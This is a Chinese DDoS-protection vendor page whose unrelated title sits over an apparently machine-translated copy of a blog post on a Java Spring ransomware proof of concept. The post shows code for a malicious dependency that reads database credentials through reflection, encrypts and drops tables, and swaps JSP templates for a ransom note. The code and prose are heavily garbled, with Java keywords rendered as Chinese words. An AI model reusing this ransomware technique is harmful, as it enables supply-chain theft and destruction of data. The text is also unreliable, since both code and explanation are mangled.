服务器安全防护_游戏盾躲藏ip的原理_解决方案-墨者安全-墨者盾
DDOS防御_CC防护_高防CDN服务器_【墨者安全】—墨者盾墨者盾—你的网站贴身保镖!

QQ:800185041
高防免费接入:400-0797-119

渠道合作:156 2527 6999

主页 > 高防CDN > 服务器安全防护_游戏盾躲藏ip的原理_解决方案

服务器安全防护_游戏盾躲藏ip的原理_解决方案

小墨安全管家 2021-05-03 19:22 高防CDN 89 ℃
DDoS防御

服务器安全防护_游戏盾躲藏ip的原理_解决方案

除非你向来住在岩石下,否则你一定听讲过万纳克里勒索软件。在SourceClear,我们以为本周的攻击是勒索软件从小价值目标(消费者台式机)转移到大价值目标(企业web应用程序)时大概发生的事情。这是大笔钞票的所在。这篇博客文章用最新版本的javaspring框架的工作示例演示了技术上的可行性。不是任何一具框架基本上脆弱的,而是开源的生态系统——我们也有Apache Struts的工作示例,节点.js,Ruby或者其他特别多。Java Spring勒索软件概念证明那个POC的完整源代码能够在我们的GitHub repo上找到。让我们从一具示例springmvc应用程序开始,DDoS防御,配置为使用MySQL。mysql连接器java-mysql.properties公司dataSource.driverClassName=com.mysql.jdbc.DriverdataSource.url=jdbc:mysql://localhost:3306/d赎金dataSource.username=根dataSource.password=密码hibernate.dialect=组织.hibernate.dialect.mysql方言休眠.hbm2ddl.auto=createTrick无辜开辟人员安装恶意软件包。我们叫它org.evil.勒索软件然而坏角色会把它伪装成一具好的库或者在往常的好版本中更新代码。邪恶组织勒索软件,Utils.随机数,作为web服务的一部分调用。提取有关数据库的信息一旦包含恶意软件包,它实际上就能够自由支配应用程序中大概发生的情况。这或多或少相当于在应用程序环境中执行远程代码。要造成真正的损害,我们需要一具脚够重要的目标。数据库合格,由于这是一具Spring应用程序,我们懂它的坐标。这特别简单,只需掌握Spring应用程序上下文并找到正确的bean。春季班{//接近弹簧上下文@AutowiredprivateWebApplicationContext ctx;TakeoverSpring(){弹簧eanAutowiringSupport.processInjectionBasedOnCurrentContext(本);}JdbcTemplate getSpringJdbc(){数据源ds=null;试试看{ds=ctx.getBean(数据源.class);返回新的JdbcTemplate(ds);}catch(NoSuchBeanDefinitionException e){}// ...}}假如这不起作用,我们能够访咨询类加载器层次结构并使用返回某种数据源的想法找到一具类。for(类klass:loadedClasses()){想法[]想法=klass.getMethods();for(想法m:想法){假如(!DataSource.class.isAssignableFrom(m.getReturnType()){然后;}//我们找到目标了!m、 setAccessible(真);for(构造函数:klass.getDeclaredConstructors()) {//实例化目标bean并自动连接其依靠项if(通用参数类型()。长度==0){集合可访咨询(正确);对象实例=ctor.newInstance();弹簧eanAutowiringSupport.processInjectionBasedOnCurrentContext(实例);beanFactory.autowireBean(实例);ds=(DataSource)m.invoke(实例);}}假如(ds!=空){返回ds;}}}接着,反射允许我们获得数据库连接的详细信息。进口com.mysql.jdbc.ConnectionImpl;无效getConnectionInfo(){f区;f=ConnectionImpl.class.getDeclaredField("用户");f、 setAccessible(真);字符串用户名=(String)f.get(conn);f=ConnectionImpl.class.getDeclaredField("密码");f、 setAccessible(真);字符串密码=(String)f.get(conn);f=ConnectionImpl.class.getDeclaredField("主机");f、 setAccessible(真);字符串主机=(字符串)f.get(conn);f=ConnectionImpl.class.getDeclaredField("数据库");f、 setAccessible(真);字符串数据库=(String)f.get(conn);// ...}接着,我们能够使用凭据创建一具新的数据库连接。首先我们禁止受害者访咨询数据。一旦达到这一点,我们能够用多种想法来完成这一点;一种简单的想法是将内容转储到一具文件中,CC防御,对其举行加密,接着删除所有表。PWN3D任何可信的勒索软件的最终一步是确保受害者懂他们被勒索了,并告诉他们我们的比特币地址。让我们找到他们的模板文件,加密他们,并替换为一具有品位的消息。虚无的幸灾乐祸(){//定位web资源文件f=newFile(getClass().getProtectionDomain().getCodeSource().getLocation().toURI().getPath());字符串路径=f.getPath();内部索引=路径索引("/WEB-INF/lib/");路径=路径.子字符串(0,indx+9)+"视图";//用我们的自定义视图替换它们(Filetemplate:getFilesFromPath(path)){假如(模板.getName().toLowerCase().endsWith(".jsp")){加密挪移(模板);挪移资源("密码.jsp", 模板.getPath());}}}繁荣。。。。。我们不希翼加密密钥出如今恶意库中,因为这会使它容易受到逆向工程的攻击。Malwaretechblog太快了,于是公钥加密允许我们幸免暴露整个密钥。结论那个职位是自私自利吗?固然,这是我们所做的,我们向来在构建技术,DDoS防御,以发觉开源恶意软件和后门,这些软件将于今年晚些时候上市。撇开明显的偏见不谈,这件事是的确,而且会发生的。不过时刻咨询题。

DDoS高防


DDoS防御

当前位置:主页 > 高防CDN > 服务器安全防护_游戏盾躲藏ip的原理_解决方案

标签列表
DDoS防御
网站分类
X
 

QQ客服

400-0797-119